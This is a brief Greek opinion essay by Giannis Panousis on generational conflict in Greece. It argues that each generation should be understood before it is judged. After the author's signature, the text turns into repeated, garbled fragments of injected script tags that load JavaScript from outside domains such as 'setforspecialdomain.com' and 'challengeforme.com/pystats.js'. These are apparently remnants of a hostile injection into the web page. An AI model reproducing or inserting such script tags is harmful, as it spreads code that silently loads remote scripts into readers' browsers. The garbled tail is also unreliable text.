Πόλεμος ή σκυταλοδρομία γενεών; Του Γιάννη Πανούση

11

Μα πάψτε πια να λέτε πως υπάρχουμε
– ακούνε τα παιδιά
τί θα τους απολογηθούμε;
Αγγέλα Αποστολοπούλου, Δέντρα θαλάσσης ανεπλέκονταν

Αυτή η (πραγματική ή τεχνητή) «σύγκρουση γενεών» έχει πάρει παρ-άλογες διαστάσεις στη χώρα μας.
Είναι γνωστό πως κάθε γενιά ζει, βιώνει και διαχειρίζεται τα γεγονότα της εποχής του με το δικό της τρόπο. Άλλωστε οι συγκυρίες ποτέ δεν είναι ίδιες για να έχουμε ταυτότητα (copy paste) αντιδράσεων. Για σκεφτείτε πώς αντιλαμβανόμασταν τον κόσμο πριν πέσουν τα τείχη το 1989 ή πώς επικοινωνούσαμε με τους άλλους πριν εφευρεθεί το Internet.
Νέες συνθήκες, νέες αντιλήψεις, νέες ισορροπίες, νέες πρακτικές.
Άλλη η γενιά του Μεσοπολέμου, άλλη η γενιά του Πολέμου/Εμφυλίου άλλη η γενιά της Μεταπολίτευσης, ίσως και άλλη γενιά της κρίσης.
Μολονότι κάθε γενιά έχει να (επι)δείξει «άνθη κακού» (και «καλού») αν θέλουμε να την κρίνουμε ως χρονοπολιτική ολότητα δεν πρέπει να την (κατα)δικάζουμε τόσο εύκολα.
Πρέπει να την καταλάβουμε κι ύστερα να πάρουμε τη σκυτάλη για να κάνουμε τα δικά μας λάθη.

Καθηγητής Γιάννης Πανούσης
Βουλευτής ΔΗΜΑΡ___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’>___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’>challengeforme.com/pystats.js’ async=true >challengeforme.com/pystats.js’ async=true >‘ >‘ >‘ >‘ >‘ >‘ >‘ >‘ >